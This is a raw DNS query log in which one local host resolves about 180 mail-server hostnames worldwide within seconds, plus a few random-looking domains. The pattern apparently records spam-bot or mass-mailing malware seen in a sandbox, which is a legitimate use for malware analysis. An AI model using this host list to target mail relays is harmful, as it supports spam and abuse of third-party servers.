May 19, 2024 17:27:46.182909012 CEST	192.168.2.4	1.1.1.1	0xeab4	Standard query (0)	freent.de	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:46.352085114 CEST	192.168.2.4	1.1.1.1	0xce9a	Standard query (0)	smtp.gadsag.com	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:46.353101969 CEST	192.168.2.4	1.1.1.1	0x569b	Standard query (0)	out.viebo.co.uk	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:46.353373051 CEST	192.168.2.4	1.1.1.1	0x2a71	Standard query (0)	misericordia.co.uk	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:46.353482008 CEST	192.168.2.4	1.1.1.1	0x18ff	Standard query (0)	mail.memoryjoggingpuzzles.com	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:46.434426069 CEST	192.168.2.4	1.1.1.1	0x9c8	Standard query (0)	i.softbank.jp	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:46.793118954 CEST	192.168.2.4	1.1.1.1	0xffe4	Standard query (0)	mail.aydinyener.com	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:46.918766975 CEST	192.168.2.4	1.1.1.1	0xaaaf	Standard query (0)	mail.jodehv.com	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:47.030217886 CEST	192.168.2.4	1.1.1.1	0xb960	Standard query (0)	poczta.pl	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:47.030534029 CEST	192.168.2.4	1.1.1.1	0x8ed	Standard query (0)	secure.dn.tui.ua	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:47.030652046 CEST	192.168.2.4	1.1.1.1	0xe4cf	Standard query (0)	out.tokachi-menkoubou.co.jp	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:47.340080023 CEST	192.168.2.4	1.1.1.1	0xd3b0	Standard query (0)	mail.clds.net	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:47.444169044 CEST	192.168.2.4	1.1.1.1	0x25d	Standard query (0)	cdtm.de	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:47.444598913 CEST	192.168.2.4	1.1.1.1	0x4b1e	Standard query (0)	smtp.fteechal.com	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:47.444744110 CEST	192.168.2.4	1.1.1.1	0x501b	Standard query (0)	mail.itatraducciones.com	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:47.655663967 CEST	192.168.2.4	1.1.1.1	0x8dc4	Standard query (0)	smtp.ptsi.co.id	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:47.655875921 CEST	192.168.2.4	1.1.1.1	0x18cf	Standard query (0)	colel.pub.ro	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:47.902465105 CEST	192.168.2.4	1.1.1.1	0x2ff0	Standard query (0)	out.grigon.com	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:47.964855909 CEST	192.168.2.4	1.1.1.1	0x6d97	Standard query (0)	secure.xxjouhxiwrft.com	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:48.095633984 CEST	192.168.2.4	1.1.1.1	0xc982	Standard query (0)	securesmtp.vdm.com.br	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:48.293239117 CEST	192.168.2.4	1.1.1.1	0xfbef	Standard query (0)	securesmtp.mesnet.com.br	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:48.293509007 CEST	192.168.2.4	1.1.1.1	0xec23	Standard query (0)	out.garnb.cn	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:48.413914919 CEST	192.168.2.4	1.1.1.1	0xa4c3	Standard query (0)	smtp.cchellenic.co	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:48.413965940 CEST	192.168.2.4	1.1.1.1	0x2d7	Standard query (0)	nx51.mymxserver.com	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:48.530916929 CEST	192.168.2.4	1.1.1.1	0xcd3f	Standard query (0)	ybb.ne.jp	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:48.530916929 CEST	192.168.2.4	1.1.1.1	0x3eae	Standard query (0)	mail.edhec.com	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:48.662787914 CEST	192.168.2.4	1.1.1.1	0x8dc4	Standard query (0)	smtp.ptsi.co.id	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:48.666501999 CEST	192.168.2.4	1.1.1.1	0x4cb3	Standard query (0)	etatourism.com	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:48.666785955 CEST	192.168.2.4	1.1.1.1	0x3b1e	Standard query (0)	securesmtp.gnikuln.com	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:48.825417042 CEST	192.168.2.4	1.1.1.1	0xe0c3	Standard query (0)	securesmtp.floodcontrol.co.uk	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:48.825484991 CEST	192.168.2.4	1.1.1.1	0xeae9	Standard query (0)	smtp.frontiernet.net	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:48.825743914 CEST	192.168.2.4	1.1.1.1	0x596	Standard query (0)	smtp.azet.sk	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:49.007381916 CEST	192.168.2.4	1.1.1.1	0xbc0	Standard query (0)	securesmtp.rice.cn.ne.jp	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:49.111205101 CEST	192.168.2.4	1.1.1.1	0x6fb8	Standard query (0)	mail.riz-itmotion.de	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:49.111762047 CEST	192.168.2.4	1.1.1.1	0xef74	Standard query (0)	smtp.phnet.fi	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:49.329822063 CEST	192.168.2.4	1.1.1.1	0xac23	Standard query (0)	mail.bresnan.net	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:49.435642958 CEST	192.168.2.4	1.1.1.1	0xc55	Standard query (0)	secure.xilfee.eu	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:49.575042009 CEST	192.168.2.4	1.1.1.1	0xffca	Standard query (0)	secure.hwht.co.kr	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:49.730928898 CEST	192.168.2.4	1.1.1.1	0xf4ff	Standard query (0)	mx37.mb5p.com	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:49.842628002 CEST	192.168.2.4	1.1.1.1	0x75aa	Standard query (0)	securesmtp.annexio.com	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:49.844188929 CEST	192.168.2.4	1.1.1.1	0x5175	Standard query (0)	mx.breakthur.com	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:49.844896078 CEST	192.168.2.4	1.1.1.1	0x85c	Standard query (0)	securesmtp.homecooking.com.br	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:50.236967087 CEST	192.168.2.4	1.1.1.1	0x9fec	Standard query (0)	deepcds.com	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:50.237231970 CEST	192.168.2.4	1.1.1.1	0x3504	Standard query (0)	out.aechac.com.mx	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:50.339755058 CEST	192.168.2.4	1.1.1.1	0x3e78	Standard query (0)	smtp.univ-lorraine.fr	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:50.530970097 CEST	192.168.2.4	1.1.1.1	0x6aa0	Standard query (0)	secure.memorialpecasford.com.br	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:50.531522036 CEST	192.168.2.4	1.1.1.1	0x8246	Standard query (0)	osmosispromo.co.uk	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:50.531555891 CEST	192.168.2.4	1.1.1.1	0x5801	Standard query (0)	out.kaptaine.com	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:50.531913042 CEST	192.168.2.4	1.1.1.1	0x5c23	Standard query (0)	smtp.transwaggon.fr	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:50.629137993 CEST	192.168.2.4	1.1.1.1	0x2a0f	Standard query (0)	smtp.skynet.be	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:50.629405022 CEST	192.168.2.4	1.1.1.1	0xfb33	Standard query (0)	smtp.newprestitempo.it	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:50.629641056 CEST	192.168.2.4	1.1.1.1	0x10a4	Standard query (0)	noos.fr	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:50.732836008 CEST	192.168.2.4	1.1.1.1	0xdebd	Standard query (0)	optusnet.com.au	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:50.838395119 CEST	192.168.2.4	1.1.1.1	0x42ea	Standard query (0)	vodafone.it	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:50.838629961 CEST	192.168.2.4	1.1.1.1	0x1a21	Standard query (0)	smtp.tds.net	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:51.116156101 CEST	192.168.2.4	1.1.1.1	0x2022	Standard query (0)	smtp.centrum.sk	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:51.116380930 CEST	192.168.2.4	1.1.1.1	0xb3e7	Standard query (0)	smtp.childcarequeensland.com.au	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:51.116592884 CEST	192.168.2.4	1.1.1.1	0xb138	Standard query (0)	colpax.sk	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:51.216078997 CEST	192.168.2.4	1.1.1.1	0xcab	Standard query (0)	smtp.knology.net	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:51.216304064 CEST	192.168.2.4	1.1.1.1	0xd587	Standard query (0)	mail.druckpunkt-bb.de	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:51.473582983 CEST	192.168.2.4	1.1.1.1	0x7914	Standard query (0)	secure.rodriguezortega.org	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:51.473831892 CEST	192.168.2.4	1.1.1.1	0x7231	Standard query (0)	smtp.excite.co.jp	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:51.474030018 CEST	192.168.2.4	1.1.1.1	0x4039	Standard query (0)	secure.envirovac.co.uk	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:51.475502968 CEST	192.168.2.4	1.1.1.1	0xb251	Standard query (0)	smtp.winreach.com	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:51.575360060 CEST	192.168.2.4	1.1.1.1	0x9d15	Standard query (0)	smtp.konto.pl	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:51.575747013 CEST	192.168.2.4	1.1.1.1	0x8b2c	Standard query (0)	us-smtp-inbound-2.mimecast.com	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:51.575977087 CEST	192.168.2.4	1.1.1.1	0x1bc8	Standard query (0)	mail.casonadelcentro.com	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:53.180290937 CEST	192.168.2.4	1.1.1.1	0xb3e7	Standard query (0)	smtp.childcarequeensland.com.au	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:53.180329084 CEST	192.168.2.4	1.1.1.1	0xb251	Standard query (0)	smtp.winreach.com	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:53.182760954 CEST	192.168.2.4	1.1.1.1	0x449c	Standard query (0)	secure.dpa-nc.com	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:53.183021069 CEST	192.168.2.4	1.1.1.1	0xec62	Standard query (0)	secure.3292.com	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:53.186815977 CEST	192.168.2.4	1.1.1.1	0x2f2a	Standard query (0)	smtp.cs.com	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:53.186954975 CEST	192.168.2.4	1.1.1.1	0xc0ca	Standard query (0)	securesmtp.clubinternet.fr	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:53.187860012 CEST	192.168.2.4	1.1.1.1	0x38a8	Standard query (0)	smtp.jhoman.co.th	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:53.187995911 CEST	192.168.2.4	1.1.1.1	0xaf45	Standard query (0)	secure.cineyug.com	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:53.188368082 CEST	192.168.2.4	1.1.1.1	0xc67	Standard query (0)	inovaadministradora.com.br	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:53.188555956 CEST	192.168.2.4	1.1.1.1	0x91e8	Standard query (0)	securesmtp.gelbdesign.de	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:53.188680887 CEST	192.168.2.4	1.1.1.1	0xc67	Standard query (0)	securesmtp.marcusmetz.de	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:53.188813925 CEST	192.168.2.4	1.1.1.1	0x5c9b	Standard query (0)	mail.atlanticbb.net	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:53.189284086 CEST	192.168.2.4	1.1.1.1	0x82fd	Standard query (0)	gwynhicks-com.mail.protection.outlook.com	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:53.189573050 CEST	192.168.2.4	1.1.1.1	0xb0cd	Standard query (0)	telefonica.net	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:53.190952063 CEST	192.168.2.4	1.1.1.1	0xd134	Standard query (0)	tiscalinet.it	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:53.191181898 CEST	192.168.2.4	1.1.1.1	0xc945	Standard query (0)	out.montezemolo.net	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:53.191819906 CEST	192.168.2.4	1.1.1.1	0x8159	Standard query (0)	sharjah.ac.ae	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:53.191983938 CEST	192.168.2.4	1.1.1.1	0x6915	Standard query (0)	brtph7ee.bnr.ca	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:53.193897009 CEST	192.168.2.4	1.1.1.1	0x84da	Standard query (0)	mail.thornberg.com	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:53.215661049 CEST	192.168.2.4	1.1.1.1	0x841e	Standard query (0)	mail.hcd.org.tw	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:53.216166019 CEST	192.168.2.4	1.1.1.1	0xedad	Standard query (0)	mx-avas.mvmnet.com	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:53.329689026 CEST	192.168.2.4	1.1.1.1	0x85d1	Standard query (0)	alberry.co.uk	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:53.871073961 CEST	192.168.2.4	1.1.1.1	0xd839	Standard query (0)	inacapmail.cl	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:53.871567011 CEST	192.168.2.4	1.1.1.1	0x4cb8	Standard query (0)	mail.billigedele.dk	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:53.973623991 CEST	192.168.2.4	1.1.1.1	0x58de	Standard query (0)	secure.alissonlima.com.br	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:53.980891943 CEST	192.168.2.4	1.1.1.1	0x827b	Standard query (0)	mcd.com.pl	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:54.264344931 CEST	192.168.2.4	1.1.1.1	0x8ecc	Standard query (0)	smtp.lexisricerche.it	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:54.358417988 CEST	192.168.2.4	1.1.1.1	0xcbfb	Standard query (0)	smtp.iinet.net.au	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:55.370919943 CEST	192.168.2.4	1.1.1.1	0xf903	Standard query (0)	smtp.physio.ca	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:55.483618021 CEST	192.168.2.4	1.1.1.1	0x9aa1	Standard query (0)	sp.tum.de	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:55.483830929 CEST	192.168.2.4	1.1.1.1	0xcb6	Standard query (0)	smtp.vodafone.de	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:55.484035969 CEST	192.168.2.4	1.1.1.1	0xd73	Standard query (0)	vzikmooepj.com	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:55.484584093 CEST	192.168.2.4	1.1.1.1	0x3bcd	Standard query (0)	out.kolumbus.fi	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:55.484765053 CEST	192.168.2.4	1.1.1.1	0x8cbb	Standard query (0)	out.votredemeure.fr	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:55.606558084 CEST	192.168.2.4	1.1.1.1	0x7e77	Standard query (0)	smtp.impercettivo.it	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:55.607059002 CEST	192.168.2.4	1.1.1.1	0x4f14	Standard query (0)	securesmtp.artenativadancas.com.br	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:55.607342005 CEST	192.168.2.4	1.1.1.1	0x483a	Standard query (0)	mail.gang.bielawa.pl	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:55.807140112 CEST	192.168.2.4	1.1.1.1	0xef11	Standard query (0)	securesmtp.selbstschutzcenter.de	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:55.807404041 CEST	192.168.2.4	1.1.1.1	0x91f1	Standard query (0)	smtp.alstec.com.br	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:56.140008926 CEST	192.168.2.4	1.1.1.1	0x1c22	Standard query (0)	secure.jodehv.com	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:56.140348911 CEST	192.168.2.4	1.1.1.1	0xffe	Standard query (0)	out.swindon-academy.org	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:56.238815069 CEST	192.168.2.4	1.1.1.1	0x3556	Standard query (0)	i.softbank.jp	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:56.345050097 CEST	192.168.2.4	1.1.1.1	0x29a3	Standard query (0)	sky.com	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:56.452661037 CEST	192.168.2.4	1.1.1.1	0x4643	Standard query (0)	2008easyweb5.net	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:56.511657953 CEST	192.168.2.4	1.1.1.1	0x5064	Standard query (0)	mx2.emailsrvr.com	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:56.511919022 CEST	192.168.2.4	1.1.1.1	0x2e52	Standard query (0)	smtp.riberpallesen.dk	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:56.512208939 CEST	192.168.2.4	1.1.1.1	0xc9dd	Standard query (0)	out.gozcosmeticos.com.br	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:56.627363920 CEST	192.168.2.4	1.1.1.1	0xe19e	Standard query (0)	smtp.discente.ufg.br	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:56.846416950 CEST	192.168.2.4	1.1.1.1	0x2742	Standard query (0)	ybb.ne.jp	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:56.965409040 CEST	192.168.2.4	1.1.1.1	0x1889	Standard query (0)	digitalcm.com.br	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:56.965665102 CEST	192.168.2.4	1.1.1.1	0xfb44	Standard query (0)	securesmtp.wtcc.org	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:57.246939898 CEST	192.168.2.4	1.1.1.1	0x36e7	Standard query (0)	zonec.com	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:57.558340073 CEST	192.168.2.4	1.1.1.1	0x713e	Standard query (0)	smtp.shaw.ca	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:57.558603048 CEST	192.168.2.4	1.1.1.1	0x9d5a	Standard query (0)	mail.tslinternational.it	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:57.698256969 CEST	192.168.2.4	1.1.1.1	0x9608	Standard query (0)	smtp.frontier.com	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:57.698492050 CEST	192.168.2.4	1.1.1.1	0x64ea	Standard query (0)	out.jci.net	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:57.810558081 CEST	192.168.2.4	1.1.1.1	0xc6ec	Standard query (0)	securesmtp.alcazar.com.my	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:57.914225101 CEST	192.168.2.4	1.1.1.1	0xc7ea	Standard query (0)	mail.afriget.com	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:57.914443970 CEST	192.168.2.4	1.1.1.1	0xad71	Standard query (0)	smtp.7989501.com	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:58.022408962 CEST	192.168.2.4	1.1.1.1	0x659c	Standard query (0)	out.cjini.org	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:58.128057957 CEST	192.168.2.4	1.1.1.1	0xdc61	Standard query (0)	securesmtp.autizam-ri.hr	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:58.128396034 CEST	192.168.2.4	1.1.1.1	0xb38e	Standard query (0)	imagecast.com.au	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:58.541558027 CEST	192.168.2.4	1.1.1.1	0xf364	Standard query (0)	smtp.interprise.com.br	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:58.541811943 CEST	192.168.2.4	1.1.1.1	0x128f	Standard query (0)	tele2.fr	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:58.733191967 CEST	192.168.2.4	1.1.1.1	0x889a	Standard query (0)	securesmtp.jcapshaw.com	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:59.022335052 CEST	192.168.2.4	1.1.1.1	0x9497	Standard query (0)	secure.blvddeli.com	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:59.022991896 CEST	192.168.2.4	1.1.1.1	0x6574	Standard query (0)	out.exsite.ie	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:59.081202030 CEST	192.168.2.4	1.1.1.1	0xb13e	Standard query (0)	smtp.totalise.co.uk	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:59.081476927 CEST	192.168.2.4	1.1.1.1	0xab26	Standard query (0)	pep4teens.de	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:59.081660032 CEST	192.168.2.4	1.1.1.1	0x3ccf	Standard query (0)	relay.micso.it	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:59.081738949 CEST	192.168.2.4	1.1.1.1	0xfa69	Standard query (0)	smtp.uniquestudio.it	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:59.180404902 CEST	192.168.2.4	1.1.1.1	0x52f4	Standard query (0)	smtp.sheafwebdesign.co.uk	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:59.180634975 CEST	192.168.2.4	1.1.1.1	0x6729	Standard query (0)	securesmtp.stupiezz.it	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:59.594527960 CEST	192.168.2.4	1.1.1.1	0x84c7	Standard query (0)	mail.ludwig-schnur.de	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:59.696630955 CEST	192.168.2.4	1.1.1.1	0x9228	Standard query (0)	securesmtp.tabako.org	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:59.696876049 CEST	192.168.2.4	1.1.1.1	0x6563	Standard query (0)	mkv.com	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:59.828382015 CEST	192.168.2.4	1.1.1.1	0x8fcc	Standard query (0)	out.rsodre.com	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:59.828677893 CEST	192.168.2.4	1.1.1.1	0xe8c1	Standard query (0)	smtp.cyrill-etter.com	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:59.830199003 CEST	192.168.2.4	1.1.1.1	0x453b	Standard query (0)	securesmtp.strongxl.com	A (IP address)	IN (0x0001)	false
May 19, 2024 17:28:00.029261112 CEST	192.168.2.4	1.1.1.1	0x54c1	Standard query (0)	securesmtp.guidewiregroup.com	A (IP address)	IN (0x0001)	false
May 19, 2024 17:28:00.029818058 CEST	192.168.2.4	1.1.1.1	0xcb44	Standard query (0)	smtp.ceipelalbero.org	A (IP address)	IN (0x0001)	false
May 19, 2024 17:28:00.030035973 CEST	192.168.2.4	1.1.1.1	0x71bc	Standard query (0)	secure.mail2000.com.tw	A (IP address)	IN (0x0001)	false
May 19, 2024 17:28:00.157757044 CEST	192.168.2.4	1.1.1.1	0xbc9c	Standard query (0)	smtp.cogeco.ca	A (IP address)	IN (0x0001)	false
May 19, 2024 17:28:00.158030987 CEST	192.168.2.4	1.1.1.1	0xd303	Standard query (0)	mail.siprep.org	A (IP address)	IN (0x0001)	false
May 19, 2024 17:28:00.158243895 CEST	192.168.2.4	1.1.1.1	0x6aa6	Standard query (0)	out.syntec.carlisle.ca	A (IP address)	IN (0x0001)	false
May 19, 2024 17:28:00.263788939 CEST	192.168.2.4	1.1.1.1	0xfec0	Standard query (0)	winesofargentina.com.ar	A (IP address)	IN (0x0001)	false
May 19, 2024 17:28:00.382632971 CEST	192.168.2.4	1.1.1.1	0x449e	Standard query (0)	smtp.indamail.hu	A (IP address)	IN (0x0001)	false
May 19, 2024 17:28:00.496978998 CEST	192.168.2.4	1.1.1.1	0xc1b1	Standard query (0)	mail.sael.co.uk	A (IP address)	IN (0x0001)	false
May 19, 2024 17:28:00.571645021 CEST	192.168.2.4	1.1.1.1	0xf2a2	Standard query (0)	out.vliethorst.scolucas.nl	A (IP address)	IN (0x0001)	false
May 19, 2024 17:28:00.666150093 CEST	192.168.2.4	1.1.1.1	0x3b00	Standard query (0)	secure.enterprisemarketing.org	A (IP address)	IN (0x0001)	false
May 19, 2024 17:28:00.805600882 CEST	192.168.2.4	1.1.1.1	0x8fff	Standard query (0)	smtp.urban-excellence.com	A (IP address)	IN (0x0001)	false
May 19, 2024 17:28:00.902461052 CEST	192.168.2.4	1.1.1.1	0xf9a3	Standard query (0)	tobsa.mx	A (IP address)	IN (0x0001)	false
May 19, 2024 17:28:01.021765947 CEST	192.168.2.4	1.1.1.1	0x71bc	Standard query (0)	secure.mail2000.com.tw	A (IP address)	IN (0x0001)	false
May 19, 2024 17:28:01.147128105 CEST	192.168.2.4	1.1.1.1	0x6aa6	Standard query (0)	out.syntec.carlisle.ca	A (IP address)	IN (0x0001)	false
May 19, 2024 17:28:01.153388977 CEST	192.168.2.4	1.1.1.1	0xbfdd	Standard query (0)	softbank.ne.jp	A (IP address)	IN (0x0001)	false
May 19, 2024 17:28:01.153630018 CEST	192.168.2.4	1.1.1.1	0xde73	Standard query (0)	yumm.com	A (IP address)	IN (0x0001)	false
May 19, 2024 17:28:01.308245897 CEST	192.168.2.4	1.1.1.1	0xd141	Standard query (0)	mail.provincia.modena.it	A (IP address)	IN (0x0001)	false
May 19, 2024 17:28:01.308598995 CEST	192.168.2.4	1.1.1.1	0xdecf	Standard query (0)	mail.sinoexpro.com	A (IP address)	IN (0x0001)	false
May 19, 2024 17:28:01.352452040 CEST	192.168.2.4	1.1.1.1	0x6370	Standard query (0)	securesmtp.farolapoiomaritimo.com.br	A (IP address)	IN (0x0001)	false
May 19, 2024 17:28:02.146116018 CEST	192.168.2.4	1.1.1.1	0x6aa6	Standard query (0)	out.syntec.carlisle.ca	A (IP address)	IN (0x0001)	false
May 19, 2024 17:28:03.295845032 CEST	192.168.2.4	1.1.1.1	0x5e49	Standard query (0)	out.sanitas.com.ar	A (IP address)	IN (0x0001)	false
May 19, 2024 17:28:03.296169043 CEST	192.168.2.4	1.1.1.1	0xb81a	Standard query (0)	smtp.galual.com	A (IP address)	IN (0x0001)	false
May 19, 2024 17:28:03.296834946 CEST	192.168.2.4	1.1.1.1	0x70fb	Standard query (0)	noos.fr	A (IP address)	IN (0x0001)	false
May 19, 2024 17:28:03.297415972 CEST	192.168.2.4	1.1.1.1	0x269b	Standard query (0)	flitepath.com.au	A (IP address)	IN (0x0001)	false
May 19, 2024 17:28:03.297672987 CEST	192.168.2.4	1.1.1.1	0xe09c	Standard query (0)	btconnect.com	A (IP address)	IN (0x0001)	false
May 19, 2024 17:28:03.298846006 CEST	192.168.2.4	1.1.1.1	0x5f9d	Standard query (0)	out.wxyz.com	A (IP address)	IN (0x0001)	false
May 19, 2024 17:28:03.299181938 CEST	192.168.2.4	1.1.1.1	0x1286	Standard query (0)	securesmtp.wyndhamtrading.com	A (IP address)	IN (0x0001)	false
May 19, 2024 17:28:03.299568892 CEST	192.168.2.4	1.1.1.1	0xabf	Standard query (0)	mail49.extendcp.co.uk	A (IP address)	IN (0x0001)	false
May 19, 2024 17:28:03.299876928 CEST	192.168.2.4	1.1.1.1	0xcde0	Standard query (0)	smtp.ziggo.nl	A (IP address)	IN (0x0001)	false
May 19, 2024 17:28:03.300242901 CEST	192.168.2.4	1.1.1.1	0x76ae	Standard query (0)	mail.jrvps.com	A (IP address)	IN (0x0001)	false
May 19, 2024 17:28:03.300426006 CEST	192.168.2.4	1.1.1.1	0xec72	Standard query (0)	smtp.alice.de	A (IP address)	IN (0x0001)	false
May 19, 2024 17:28:03.300574064 CEST	192.168.2.4	1.1.1.1	0x419	Standard query (0)	smtp.lsbolsas.com.br	A (IP address)	IN (0x0001)	false
May 19, 2024 17:28:03.301068068 CEST	192.168.2.4	1.1.1.1	0xb1b0	Standard query (0)	steilgang.com	A (IP address)	IN (0x0001)	false
May 19, 2024 17:28:03.301229000 CEST	192.168.2.4	1.1.1.1	0x1337	Standard query (0)	smtp.volny.cz	A (IP address)	IN (0x0001)	false
May 19, 2024 17:28:03.339518070 CEST	192.168.2.4	1.1.1.1	0x2b06	Standard query (0)	secure.myparadox.co.uk	A (IP address)	IN (0x0001)	false
May 19, 2024 17:28:03.339850903 CEST	192.168.2.4	1.1.1.1	0xd281	Standard query (0)	smtp.blittrup.dk	A (IP address)	IN (0x0001)	false
May 19, 2024 17:28:03.487874985 CEST	192.168.2.4	1.1.1.1	0x414c	Standard query (0)	smtp.gamil.com	A (IP address)	IN (0x0001)	false
